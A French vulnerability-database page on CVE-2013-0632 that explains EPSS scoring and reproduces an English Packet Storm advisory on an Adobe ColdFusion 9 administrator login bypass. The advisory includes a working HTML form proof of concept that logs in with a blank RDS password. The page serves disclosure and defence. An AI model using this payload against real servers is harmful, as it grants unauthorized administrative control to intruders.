CVE-2013-0632 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

These details were obtained through the Packet Storm Bug Bounty program and are being released to the community. The details of this issue were already leaked in the following Metasploit module: http://packetstormsecurity.com/1304-exploits/adobe_coldfusion_apsb13_03.rb.txt +------------------------------------------------------------------------------+ +---------+ | DETAILS | +---------+ Adobe ColdFusion versions 9.0, 9.0.1, and 9.0.2 do not properly check the "rdsPasswordAllowed" field when accessing the Administrator API CFC that is used for logging in. That CFC "Contains basic Administrator functionality, including login, logout, the Migration wizard, and the Setup wizard. You must call the login method before calling any other methods in the Administrator API." The login function never checks if RDS is enabled when rdsPasswordAllowed="true". This means that if RDS was not configured, the RDS user does not have a password associated with their username. This means by setting rdsPasswordAllowed to "true", we can bypass the admin login to use the rdsPassword, which in most cases, is blank. By default (and in most production environments), RDS will be disabled thus never have been configured. If a user can access the ColdFusion 9.0 administrator located at /CFIDE/administrator/index.cfm and also access the file /CFIDE/adminapi/administrator.cfc, it is possible to fully bypass the admin login. ColdFusion 9.0, 9.0.1, and 9.0.2 do not properly check if RDS was ever enabled. +------------------------------------------------------------------------------+ +------------------+ | PROOF OF CONCEPT | +------------------+ Sample code below; no changes are needed except to substitute [HOSTNAME]/CFIDE/adminapi/administrator.cfc with the proper location of the adminapi/administrator.cfc. You may save this file as test.html on your desktop and open it from there. After submitting this page, you will be logged in when going to the ColdFusion administrator page located at http://[HOSTNAME]/CFIDE/administrator/index.cfm <form action="http://[HOSTNAME]/CFIDE/adminapi/administrator.cfc?method=login" method="post"> <input type="hidden" name="adminpassword" value=""> <input type="hidden" name="rdsPasswordAllowed" value="1"> <input type="submit"> </form> +------------------------------------------------------------------------------+ +---------------+ | RELATED LINKS | +---------------+ https://www.adobe.com/support/security/bulletins/apsb13-03.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0632 http://packetstormsecurity.com/1304-exploits/adobe_coldfusion_apsb13_03.rb.txt +------------------------------------------------------------------------------+ +----------------+ | SHAMELESS PLUG | +----------------+ The Packet Storm Bug Bounty program gives researchers the ability to profit from their discoveries.
